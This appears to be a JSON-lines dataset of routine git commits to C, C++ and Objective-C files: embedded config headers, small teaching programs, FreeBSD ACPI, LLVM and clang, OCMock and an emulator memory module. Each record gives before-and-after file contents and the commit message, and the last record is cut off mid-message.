{"commit":"0c04638755b14023abbc7ff4c87609e026de14fc","old_file":"src\/thermostat.h","new_file":"src\/thermostat.h","old_contents":"#pragma once\n\n#define DHT22_PIN 6\n#define DHT22_SAMPLE_RATE 3000\n\n#define TEMPORATURE_TARGET (204)\n\n#define HEATER_PIN 10\n#define HEATER_ACTION_DELAY (15*60) \/\/ minimal seconds to open\/close heater, prevent switch heater too frequently.\n","new_contents":"#pragma once\n\n#define DHT22_PIN 6\n#define DHT22_SAMPLE_RATE 20000\n\n#define TEMPORATURE_TARGET (204)\n\n#define HEATER_PIN 10\n#define HEATER_ACTION_DELAY (15*60) \/\/ minimal seconds to open\/close heater, prevent switch heater too frequently.\n","subject":"Change DHT22 sensor sample rate to 20 seconds","message":"Change DHT22 sensor sample rate to 20 seconds\n\n3 seconds is used for debug purpose\n","lang":"C","license":"apache-2.0","repos":"redforks\/thermostat,redforks\/thermostat"}
{"commit":"b74ae5b33ec0f0ac4614e831043c65cdb38ee5f2","old_file":"TASKS\/TASK_1\/sources\/vector3d.h","new_file":"TASKS\/TASK_1\/sources\/vector3d.h","old_contents":"#ifndef VECTOR_3D_H\n#define VECTOR_3D_H\n\n#include <math.h>\n\nnamespace classes {\n\tstruct Point3D {\n\t\tdouble x, y, z;\n\t};\n\n\tclass Vector3D {\n\t\tstruct Cheshire;\n\t\tCheshire* smile;\n\n\t\tstatic const Point3D nullPoint = { 0.0, 0.0, 0.0 };\n\t\n\t\tpublic:\n\t\t\tVector3D();\n\t\t\tVector3D(Point3D point = nullPoint);\n\t\t\tVector3D(double x = 0.0, double y = 0.0, double z = 0.0);\n\t\t\t~Vector3D();\n\t\t\tdouble\t\tgetModule() const;\n\t\t\tVector3D\tcopy() const;\n\t\t\tVector3D\tgetReversed() const;\n\t\t\tvoid\t\tmultiplyByScalar(const double);\n\t\t\tvoid\t\tnormalize();\n\t\t\tvoid\t\tprint() const;\n\n\t\t\tstatic\t\tVector3D\tadd(Vector3D&, Vector3D&);\n\t\t\tstatic\t\tVector3D\tsubstract(Vector3D&, Vector3D&);\n\t\t\tstatic\t\tVector3D\tvectorMultiply(Vector3D&, Vector3D&) ;\n\t\t\tstatic\t\tdouble\t\tscalarMultiply(Vector3D&, Vector3D&);\n\t\t\tstatic\t\tdouble\t\tsin(Vector3D&, Vector3D&);\n\t\t\tstatic\t\tdouble\t\tcos(Vector3D&, Vector3D&);\n\t\t\tstatic\t\tdouble\t\tangle(Vector3D&, Vector3D&);\n\t};\n}\n\n#endif \/\/ VECTOR_3D_H\n","new_contents":"#ifndef VECTOR_3D_H\n#define VECTOR_3D_H\n\n#include <math.h>\n\nnamespace classes {\n\tstruct Point3D {\n\t\tdouble x, y, z;\n\t};\n\n\ttypedef const char* err;\n\n\tclass Vector3D {\n\t\tstruct Cheshire;\n\t\tCheshire* smile;\n\n\t\tstatic const Point3D nullPoint;\n\t\tstatic unsigned int idCounter;\n\t\n\t\tpublic:\n\t\t\tVector3D(Point3D point = nullPoint);\n\t\t\tVector3D(double x, double y = 0.0, double z = 0.0);\n\t\t\t~Vector3D();\n\tinline\tdouble\t\t\tgetModule() const;\n\tinline\tvoid\t\t\tprint()\t\tconst;\n\tinline \tconst Point3D&\tgetPoint()\tconst;\n\t\t\tVector3D\t\tcopy()\t\tconst;\n\t\t\tvoid\t\t\tmultiplyByScalar(const double);\n\t\t\tvoid\t\t\tnormalize();\n\n\n\tstatic \tVector3D\tadd(Vector3D&, Vector3D&);\n\tstatic\tVector3D\tsubstract(Vector3D&, Vector3D&);\n\tstatic\tVector3D\tvectorMultiply(Vector3D&, Vector3D&) ;\n\tstatic\tdouble\t\tscalarMultiply(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tsin(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tcos(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tangle(Vector3D&, Vector3D&);\n\t};\n}\n\n#endif \/\/ VECTOR_3D_H\n","subject":"Change signatures of methods and fields of class","message":"Change signatures of methods and fields of class\n","lang":"C","license":"mit","repos":"reeFridge\/learn-oop-through-cpp"}
{"commit":"009fef84e0c393522bc6bb3c66cd7d6779dcff98","old_file":"exemplos\/primeiro-trimestre\/01-hello-world.c","new_file":"exemplos\/primeiro-trimestre\/01-hello-world.c","old_contents":"","new_contents":"\/**\n * Exemplo 01 - Hello World!\n * \n * Este é o exemplo mais simples da linguagem C. Consiste apenas em um programa que\n * imprime a mensagem \"Hello World!\" e termina sua execução.\n * Apesar de simples, é um bom programa para se basear na estrutura, além de testar\n * se o compilador está funcionando corretamente\n *\/\n\n#include <stdio.h>\n\nint main(void)\n{\n\tputs(\"Hello World!\");\n\treturn 0;\n}","subject":"Add first example! (Hello World)","message":"Add first example! (Hello World)\n","lang":"C","license":"unlicense","repos":"atropelando\/terceiro-ano-programacao"}
{"commit":"220e81db102f180b4c30eb85398e6f55d74faca2","old_file":"calc.c","new_file":"calc.c","old_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint calc(const char* p)\n{\n    int i;\n    int ans;\n\n    ans = atoi(p);\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1));\n            case '-':\n                return (ans - calc(p + i + 1));\n            case '*':\n                ans *= atoi(p + i + 1);\n                i++;\n                break;\n            case '\/':\n                ans \/= atoi(p + i + 1);\n                i++;\n                break;\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n}\n","new_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint calc(const char* p)\n{\n    int i;\n    int ans;\n\n    ans = atoi(p);\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1));\n            case '-':\n                return (ans - calc(p + i + 1));\n            case '*':\n                ans *= atoi(p + i + 1);\n                i++;\n                break;\n            case '\/':\n                ans \/= atoi(p + i + 1);\n                i++;\n                break;\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n\n    return (ans);\n}\n","subject":"Return answer when reading formula was finished","message":"Return answer when reading formula was finished\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"2cb9cb84dfe98c11ae6eb8beca6720b3c587a614","old_file":"sys\/dev\/acpica\/acpi_powerprofile.c","new_file":"sys\/dev\/acpica\/acpi_powerprofile.c","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2001 Michael Smith\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$FreeBSD$\n *\/\n\n#include \"opt_acpi.h\"\t\/* XXX trim includes *\/\n#include <sys\/param.h>\n#include <sys\/mutex.h>\n#include <sys\/bus.h>\n\n#include \"acpi.h\"\n\n#include <dev\/acpica\/acpivar.h>\n\nstatic int powerprofile_state = POWERPROFILE_PERFORMANCE;\n\nint\npowerprofile_get_state(void)\n{\n    return(powerprofile_state);\n}\n\nvoid\npowerprofile_set_state(int state) \n{\n    int\t\tchanged;\n    \n    ACPI_LOCK;\n    if (state != powerprofile_state) {\n\tpowerprofile_state = state;\n\tchanged = 1;\n\tprintf(\"system power profile changed to '%s'\\n\",\n\t       (state == POWERPROFILE_PERFORMANCE) ? \"performance\" : \"economy\");\n    } else {\n\tchanged = 0;\n    }\n    ACPI_UNLOCK;\n    if (changed)\n\tEVENTHANDLER_INVOKE(powerprofile_change);\n}\n\n","subject":"Support for system \"power profiles\". Currently we support two profiles; \"economy\" and \"performance\".","message":"Support for system \"power profiles\".  Currently we support two profiles;\n\"economy\" and \"performance\".\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"581c0f20d6d4109ed7b905aa6f11cca2bea33b41","old_file":"Os_Cfg.h","new_file":"Os_Cfg.h","old_contents":"\/* OSEKOS Implementation of an OSEK Scheduler\n * Copyright (C) 2015 Joakim Plate\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef OS_CFG_H_\n#define OS_CFG_H_\n\n#ifdef OS_CFG_ARCH_POSIX\n#include \"Os_Arch_Posix.h\"\n#endif\n\n#ifdef OS_CFG_ARCH_FIBERS\n#include \"Os_Arch_Fibers.h\"\n#endif\n\n#define OS_TASK_COUNT 3\n#define OS_PRIO_COUNT 3\n\n#define OS_TICK_US    100000U\n\nextern void errorhook(StatusType ret);\n#define OS_ERRORHOOK(_ret) errorhook(_ret)\n\n#endif \/* OS_CFG_H_ *\/\n","new_contents":"\/* OSEKOS Implementation of an OSEK Scheduler\n * Copyright (C) 2015 Joakim Plate\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef OS_CFG_H_\n#define OS_CFG_H_\n\n#ifdef OS_CFG_ARCH_POSIX\n#include \"Os_Arch_Posix.h\"\n#endif\n\n#ifdef OS_CFG_ARCH_FIBERS\n#include \"Os_Arch_Fibers.h\"\n#endif\n\n#define OS_TASK_COUNT 3\n#define OS_PRIO_COUNT 3\n\n#define OS_TICK_US    1000000U\n\nextern void errorhook(StatusType ret);\n#define OS_ERRORHOOK(_ret) errorhook(_ret)\n\n#endif \/* OS_CFG_H_ *\/\n","subject":"Increment timer ticks for now","message":"Increment timer ticks for now\n","lang":"C","license":"lgpl-2.1","repos":"elupus\/osek,elupus\/osek,elupus\/osek"}
{"commit":"224017fde6a9c4ae850e870563136d66843b4963","old_file":"include\/llvm\/MC\/MCSymbolXCOFF.h","new_file":"include\/llvm\/MC\/MCSymbolXCOFF.h","old_contents":"\/\/===- MCSymbolXCOFF.h -  ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_MC_MCSYMBOLXCOFF_H\n#define LLVM_MC_MCSYMBOLXCOFF_H\n\n#include \"llvm\/BinaryFormat\/XCOFF.h\"\n#include \"llvm\/MC\/MCSymbol.h\"\n#include \"llvm\/IR\/GlobalValue.h\"\n\nnamespace llvm {\n\nclass MCSymbolXCOFF : public MCSymbol {\n  \/\/ The IR symbol this MCSymbolXCOFF is based on. It is set on function\n  \/\/ entry point symbols when they are the callee operand of a direct call\n  \/\/ SDNode.\n  const GlobalValue *GV = nullptr;\n\npublic:\n  MCSymbolXCOFF(const StringMapEntry<bool> *Name, bool isTemporary)\n      : MCSymbol(SymbolKindXCOFF, Name, isTemporary) {}\n\n  void setGlobalValue(const GlobalValue *G) { GV = G; }\n  const GlobalValue *getGlobalValue() const { return GV; }\n\n  static bool classof(const MCSymbol *S) { return S->isXCOFF(); }\n};\n\n} \/\/ end namespace llvm\n\n#endif \/\/ LLVM_MC_MCSYMBOLXCOFF_H\n","new_contents":"\/\/===- MCSymbolXCOFF.h -  ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_MC_MCSYMBOLXCOFF_H\n#define LLVM_MC_MCSYMBOLXCOFF_H\n\n#include \"llvm\/BinaryFormat\/XCOFF.h\"\n#include \"llvm\/MC\/MCSymbol.h\"\n\nnamespace llvm {\n\nclass GlobalValue;\n\nclass MCSymbolXCOFF : public MCSymbol {\n  \/\/ The IR symbol this MCSymbolXCOFF is based on. It is set on function\n  \/\/ entry point symbols when they are the callee operand of a direct call\n  \/\/ SDNode.\n  const GlobalValue *GV = nullptr;\n\npublic:\n  MCSymbolXCOFF(const StringMapEntry<bool> *Name, bool isTemporary)\n      : MCSymbol(SymbolKindXCOFF, Name, isTemporary) {}\n\n  void setGlobalValue(const GlobalValue *G) { GV = G; }\n  const GlobalValue *getGlobalValue() const { return GV; }\n\n  static bool classof(const MCSymbol *S) { return S->isXCOFF(); }\n};\n\n} \/\/ end namespace llvm\n\n#endif \/\/ LLVM_MC_MCSYMBOLXCOFF_H\n","subject":"Work around a circular dependency between IR and MC introduced in r362735","message":"Work around a circular dependency between IR and MC introduced in r362735\n\nI replaced the circular library dependency with a forward declaration,\nbut it is only a workaround, not a real fix.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@362782 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"e541bf3d60bfb9615802c471f1b9d26547ef5b0a","old_file":"test\/CodeGen\/debug-info-257-args.c","new_file":"test\/CodeGen\/debug-info-257-args.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -x c++ -g -emit-llvm -triple x86_64-linux-gnu -o - %s | FileCheck %s\n\/\/ PR23332\n\n\/\/ CHECK: MDLocalVariable(tag: DW_TAG_arg_variable, arg: 255\n\/\/ CHECK: MDLocalVariable(tag: DW_TAG_arg_variable, arg: 256\n\/\/ CHECK: MDLocalVariable(tag: DW_TAG_arg_variable, arg: 257\nvoid fn1(int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int, int, int, int, int, int, int, int, int, int,\n         int, int, int, int, int) {}\n","subject":"Add a clang test for LLVM fix for PR23332","message":"DebugInfo: Add a clang test for LLVM fix for PR23332\n\nAdd a clang test for LLVM r235955, which added support for up to 2^16\narguments.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@235956 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"381363802706bd30c45a8e6d8ac6fdcaa6248780","old_file":"c\/list.c","new_file":"c\/list.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\ntypedef struct Node Node;\nstruct Node {\n\tint value;\n\tNode *next;\n};\n\nvoid addFirst(Node **head, int v) {\n\tNode *newNode = (Node * )malloc(sizeof(Node));\n\tnewNode->value =  v;\n\tnewNode->next = *head;\n\t*head = newNode;\n}\n\nvoid printList(Node *head) {\n\tNode *curr = head;\n\twhile (curr != NULL) {\n\t\tprintf(\"%d\\n\", curr->value);\n\t\tcurr = curr->next;\n\t}\n}\n\nNode *init(int v) {\n\tNode *head = (Node *)malloc(sizeof(Node));\n\thead->value = v;\n\thead->next = NULL;\n\treturn head;\n}\n\nint main() {\n\tNode *head = init(1);\n\taddFirst(&head, 2);\n\taddFirst(&head, 3);\n\tprintList(head);\n\treturn 0;\n}\n","subject":"Implement Linked List in C","message":"Implement Linked List in C\n\nC언어로 오랫만에 구현\n수업시간에 이중포인터를 설명하기 위해서 구현했다.\n","lang":"C","license":"mit","repos":"honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice,honux77\/practice"}
{"commit":"831405d274f7a3cbb097fb09ce317f976f16c9fe","old_file":"rs.h","new_file":"rs.h","old_contents":"\/**\n * Generic reservoir sampling.\n *\/\n\n#ifndef _RS_H\n#define _RS_H\n\n\/* print actions to the reservoir *\/\n#ifndef PRINT_RS_TRACE\n#define PRINT_RS_TRACE 1\n#endif\n\nstruct reservoir;\nstruct drand48_data;\n\nstruct reservoir *init_reservoir(size_t sz,\n#if PRINT_RS_TRACE\n\t\tvoid (*print_fun)(void *it),\n#endif\n\t\tvoid *(*clone_fun)(const void *it, size_t sz),\n\t\tvoid (*free_fun)(void *it));\nvoid free_reservoir(struct reservoir *r);\n\n\/* Notice one extra parameter when tracing the reservoir *\/\nvoid add_to_reservoir(struct reservoir *r, const void *it, size_t sz,\n\t\tdouble w, struct drand48_data *randbuffer);\nvoid add_to_reservoir_log(struct reservoir *r, const void *it, size_t sz,\n\t\tdouble logw, struct drand48_data *randbuffer);\n\n#endif\n","new_contents":"\/**\n * Generic reservoir sampling.\n *\/\n\n#ifndef _RS_H\n#define _RS_H\n\n\/* print actions to the reservoir *\/\n#ifndef PRINT_RS_TRACE\n#define PRINT_RS_TRACE 1\n#endif\n\nstruct reservoir;\nstruct drand48_data;\n\n\/* Notice one extra parameter when tracing the reservoir *\/\nstruct reservoir *init_reservoir(size_t sz,\n#if PRINT_RS_TRACE\n\t\tvoid (*print_fun)(void *it),\n#endif\n\t\tvoid *(*clone_fun)(const void *it, size_t sz),\n\t\tvoid (*free_fun)(void *it));\nvoid free_reservoir(struct reservoir *r);\n\nvoid add_to_reservoir(struct reservoir *r, const void *it, size_t sz,\n\t\tdouble w, struct drand48_data *randbuffer);\nvoid add_to_reservoir_log(struct reservoir *r, const void *it, size_t sz,\n\t\tdouble logw, struct drand48_data *randbuffer);\n\n#endif\n","subject":"Move comment to the code it comments on","message":"Move comment to the code it comments on\n","lang":"C","license":"bsd-3-clause","repos":"mihaimaruseac\/dphcar"}
{"commit":"ee758e12198cd82c29a387193a154e6a8f88fc99","old_file":"src\/domain.h","new_file":"src\/domain.h","old_contents":"\/***************************************************************************\/\/**\n* \\file domain.h\n* \\author Krishnan, A. (anush@bu.edu)\n* \\brief Definition of the class \\c domain\n*\/\n\n\n#pragma once\n\n#include \"types.h\"\n\n\n\/**\n* \\class domain\n* \\brief Store the mesh grid information\n*\/\nclass domain\n{\npublic:\n\tint   nx, \/\/\/< number of cells in the x-direction\n\t      ny; \/\/\/< number of cells in the y-direction\n\t\n\tvecH  x,  \/\/\/< x-coordinates of the nodes\n\t      y,  \/\/\/< y-coordinates of the nodes\n\t      dx, \/\/\/< cell widths in the x-direction\n\t      dy; \/\/\/< cell widths in the y-direction\n\t\n\tvecD  xD,  \/\/\/< x-coordinates of the nodes stored on the device\n\t      yD,  \/\/\/< y-coordinates of the nodes stored on the device\n\t      dxD, \/\/\/< x- cell widths stored on the device\n\t      dyD; \/\/\/< y- cell widths stored on the device\n\t\n\tvecH  xu,  \/\/\/< x-coordinates of the locations at which the x-component of velocity is evaluated\n\t      yu,  \/\/\/< y-coordinates of the locations at which the x-component of velocity is evaluated\n\t      xv,  \/\/\/< x-coordinates of the locations at which the y-component of velocity is evaluated\n\t      yv;  \/\/\/< y-coordinates of the locations at which the y-component of velocity is evaluated\n};\n","new_contents":"\/***************************************************************************\/\/**\n * \\file domain.h\n * \\author Anush Krishnan (anush@bu.edu)\n * \\brief Definition of the class \\c domain.\n *\/\n\n\n#pragma once\n\n#include \"types.h\"\n\n\n\/**\n * \\class domain\n * \\brief Stores information about the computational grid.\n *\/\nclass domain\n{\npublic:\n\tint   nx, \/\/\/< number of cells in the x-direction\n\t      ny; \/\/\/< number of cells in the y-direction\n\t\n\tvecH  x,  \/\/\/< x-coordinates of the nodes\n\t      y,  \/\/\/< y-coordinates of the nodes\n\t      dx, \/\/\/< cell widths in the x-direction\n\t      dy; \/\/\/< cell widths in the y-direction\n\t\n\tvecD  xD,  \/\/\/< x-coordinates of the nodes stored on the device\n\t      yD,  \/\/\/< y-coordinates of the nodes stored on the device\n\t      dxD, \/\/\/< x- cell widths stored on the device\n\t      dyD; \/\/\/< y- cell widths stored on the device\n\t\n\tvecH  xu,  \/\/\/< x-coordinates of the locations at which the x-component of velocity is evaluated\n\t      yu,  \/\/\/< y-coordinates of the locations at which the x-component of velocity is evaluated\n\t      xv,  \/\/\/< x-coordinates of the locations at which the y-component of velocity is evaluated\n\t      yv;  \/\/\/< y-coordinates of the locations at which the y-component of velocity is evaluated\n};\n","subject":"Update Doxygen documentation with conventions","message":"Update Doxygen documentation with conventions\n","lang":"C","license":"mit","repos":"barbagroup\/cuIBM,barbagroup\/cuIBM,barbagroup\/cuIBM"}
{"commit":"c21ae1451dd3a20b4ff0566ae45a0e58a35081fe","old_file":"Source\/OCMock\/OCMLocation.h","new_file":"Source\/OCMock\/OCMLocation.h","old_contents":"\/*\n *  Copyright (c) 2014-2015 Erik Doernenburg and contributors\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use these files except in compliance with the License. You may obtain\n *  a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n *  License for the specific language governing permissions and limitations\n *  under the License.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n@interface OCMLocation : NSObject\n{\n    id          testCase;\n    NSString    *file;\n    NSUInteger  line;\n}\n\n+ (instancetype)locationWithTestCase:(id)aTestCase file:(NSString *)aFile line:(NSUInteger)aLine;\n\n- (instancetype)initWithTestCase:(id)aTestCase file:(NSString *)aFile line:(NSUInteger)aLine;\n\n- (id)testCase;\n- (NSString *)file;\n- (NSUInteger)line;\n\n@end\n\nextern OCMLocation *OCMMakeLocation(id testCase, const char *file, int line);\n","new_contents":"\/*\n *  Copyright (c) 2014-2015 Erik Doernenburg and contributors\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use these files except in compliance with the License. You may obtain\n *  a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n *  License for the specific language governing permissions and limitations\n *  under the License.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n@interface OCMLocation : NSObject\n{\n    id          testCase;\n    NSString    *file;\n    NSUInteger  line;\n}\n\n+ (instancetype)locationWithTestCase:(id)aTestCase file:(NSString *)aFile line:(NSUInteger)aLine;\n\n- (instancetype)initWithTestCase:(id)aTestCase file:(NSString *)aFile line:(NSUInteger)aLine;\n\n- (id)testCase;\n- (NSString *)file;\n- (NSUInteger)line;\n\n@end\n\n#if defined(__cplusplus)\nextern \"C\"\n#else\nextern\n#endif\nOCMLocation *OCMMakeLocation(id testCase, const char *file, int line);\n","subject":"Fix linking in Objective–C++ tests.","message":"Fix linking in Objective–C++ tests.\n\nAs detailed in #238, linking tests sometimes fails when OCMock is being used in Objective-C++ (.mm) test case files.\nThis commit solves that problem by conditionally declaring `OCMMakeLocation` as `extern C` in when included in a C++ compilation unit.","lang":"C","license":"apache-2.0","repos":"Lightricks\/ocmock,Lightricks\/ocmock,Lightricks\/ocmock,NextThought\/ocmock,erikdoe\/ocmock,firebase\/ocmock,BohdanOrlov\/ocmock,Lightricks\/ocmock,erikdoe\/ocmock,dhardiman\/ocmock,erikdoe\/ocmock,imhuntingwabbits\/ocmock,erikdoe\/ocmock,SteveFortune\/ocmock"}
{"commit":"18ca3c88bfab828cf26f5a184cfa30ba012089e4","old_file":"memory.c","new_file":"memory.c","old_contents":"\/*\n * Copyright (c) 2012, Nadir Sampaoli\n * See the LICENSE for more information\n *\/\n\n#include \"memory.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic uint8_t *memory_area;\n\nvoid allocmemory(void)\n{\n    while(!memory_area) {\n        memory_area = malloc(MEM_SIZE * sizeof(uint8_t));\n    }\n}\n\nuint8_t getmembyte(uint16_t addr)\n{\n    return *(memory_area + addr);\n}\n\nuint16_t getmemword(uint16_t addr)\n{\n    return (getmembyte(addr+1) << 8 | getmembyte(addr));\n}\n\nvoid putmembyte(uint16_t addr, uint8_t byte)\n{\n    \/\/ FIXME: must control if addr is readonly (TODO: implement MBC controllers)\n    *(memory_area + addr) = byte;\n}\n\nvoid putmemword(uint16_t addr, uint16_t word)\n{\n    putmembyte(addr, (word >> 8));\n    putmembyte(addr+1, (word & 0xFF));\n}\n","new_contents":"\/*\n * Copyright (c) 2012, Nadir Sampaoli\n * See the LICENSE for more information\n *\/\n\n#include \"memory.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic uint8_t *memory_area;\n\nvoid allocmemory(void)\n{\n    while(!memory_area) {\n        memory_area = malloc(MEM_SIZE * sizeof(uint8_t));\n    }\n}\n\ninline uint8_t getmembyte(uint16_t addr)\n{\n    return *(memory_area + addr);\n}\n\ninline uint16_t getmemword(uint16_t addr)\n{\n    return (getmembyte(addr+1) << 8 | getmembyte(addr));\n}\n\nvoid putmembyte(uint16_t addr, uint8_t byte)\n{\n    \/\/ FIXME: must control if addr is readonly (TODO: implement MBC controllers)\n    *(memory_area + addr) = byte;\n}\n\nvoid putmemword(uint16_t addr, uint16_t word)\n{\n    putmembyte(addr, (word >> 8));\n    putmembyte(addr+1, (word & 0xFF));\n}\n","subject":"Change \"getmembyte\" and \"getmemword\" to inline functions","message":"Change \"getmembyte\" and \"getmemword\" 